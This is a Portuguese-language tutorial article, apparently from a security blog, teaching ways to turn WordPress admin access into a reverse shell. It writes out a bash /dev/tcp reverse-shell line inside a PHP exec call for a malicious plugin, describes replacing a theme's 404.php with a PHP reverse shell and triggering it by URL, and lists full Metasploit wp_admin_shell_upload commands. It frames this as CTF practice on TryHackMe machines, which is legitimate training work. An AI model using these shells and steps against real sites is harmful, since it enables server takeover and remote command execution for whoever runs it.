Técnicas para Conseguir Reverse-Shell em Ambientes WordPress
Muitas vezes quando conseguimos acesso administrativo em um CMS (sistema de gerenciamento de conteúdo) WordPress, podemos nos perder no processo para uma reverse shell, então venho por este artigo ensinar 4 métodos de como explorar esse CMS!
Criando um Plugin Malicioso
Podemos criar plugins maliciosos para ganhar uma reverse shell, pode parecer um bicho de 7 cabeças, entretanto é mais fácil do que parece. Primeira coisa que precisamos é criar um arquivo PHP com o padrão de plugins wordpress e dentro dele colocamos uma reverse shell, veja o exemplo abaixo:
A shell utilizada foi a seguinte:
exec("/bin/bash -c 'bash -i >& /dev/tcp/IP/PORTA 0>&1'");
Essa reverse se baseia em usar a função do PHP exec, para executar os comando como bash (/bin/bash) em linha de comando (-c) no servidor e assim temos a shell.
Após a criação do arquivo temos que compactar para poder subir no wordpress corretamente.
zip <Nome que deseja.zip> <Nome do arquivo PHP>
Com o arquivo totalmente pronto e dentro do painel administrativo devemos fazer os seguintes passos:
1) Clique em Plugins
2) Clique em Add New
3) Clique em Upload Plugin
4) Clique em Browse e escolha o plugin malicioso
5) Clique em Install Now e aguarde o plugin ser instalado
6) Ative o plugin
No momento em que ativamos o nosso plugin ele efetua uma conexão com nosso netcat e ganhamos a shell!
Injetando Tema Malicioso
Assim como conseguimos criar um plugin malicioso é possível criar um tema com uma reverse shell, nós iremos trocar o tema do 404.php e então entraremos nele para pegar a shell! Veja o passo a passo em abaixo:
1) Entre em Appearance e clique em Theme Editor
2) Selecione o tema 404.php
Ao entrar no editor de temas comece a procurar no “Themes Files” o arquivo 404.php e clique duas vezes para entrar nele.
3) Injetando a reverse no 404.php
Agora vamos substituir o código que estava aqui para uma reverse shell, esta reverse pode ser baixada aqui. Caso você esteja no kali linux não precisa baixar ela, você apenas precisa digitar o seguinte comando:
sudo cp /usr/share/webshells/php/php-reverse-shell.php .
sudo = Roda o comando como super usuário.
cp = Irá copiar a reverse.
/usr/… = Caminho que se localiza a reverse.
. = Uma copia da reverse vai ficar no seu diretório atual com o mesmo nome.
Na imagem acima mostra como ficará o 404.php com a nossa reverse shell e lembre-se de colocar o IP e a PORTA para efetuar conexão, após isso salve.
4) Conecte-se no arquivo 404.php
Agora para finalizar temos que ativar o arquivo, então vamos se conectar nele por essa URL:
http://IP-ALVO/wordpress/wp-content/themes/twentytwenty/404.php
Caso a sua shell não tenha aparecido olhe novamente para qual “themes” você alterou, agora temos nossa shell!!!
Usando o Metasploit para ter shell
Dentro do metasploit temos um módulo em especifico para adquirir a reverse nesse ambiente, para isso é necessário ter as credenciais do administrador, dessa maneira criamos um plugin malicioso que nos fornece execução de comandos remotos!
1) Abra o Metasploit
msfconsole
2) Use o exploit
use exploit/unix/webapp/wp_admin_shell_upload
3) Configure o IP Alvo
set RHOSTS 127.0.0.1
4) Configure o Usuário e Senha do administrador
set USERNAME admin
set PASSWORD admin
O usuário e senha admin são apenas para demonstração.
5) Configure o caminho do WordPress
set TARGETURI /wordpress
Nessa parte varia de site para site, pois alguns site são wordpress desde seu index, então caso o seu seja assim apenas deixe em branco esse campo.
6) Execute o exploit
run or exploit
Dicas de CTF para testar o conhecimento adquirido!
Agora que você aprendeu algumas técnicas para ganhar shell no WordPress recomendo que faça as seguintes maquinas:
All in One: Ela realmente é tudo em um, você pode fazer todos esses métodos do artigo nessa máquina e praticar, para jogar ela é necessário ter conta no Tryhackme.
Mr Robot CTF: Máquina do tryhackme um pouco mais complicada que a anterior, entretanto ela passa muito conhecimento e você pode usar esse artigo para te auxiliar.
Blog: Essa é muito divertida de se explorar e assim como as anteriores.
Conclusão
Por hoje foi isso pessoal, queria compartilhar com vocês algumas técnicas que eu aprendi para ganhar shell em ambientes wordpress, creio que esse artigo ajude mais as pessoas iniciantes, entretanto fico feliz por saber que alguém esta conseguindo evoluir ou resolver um CTF com meu artigo.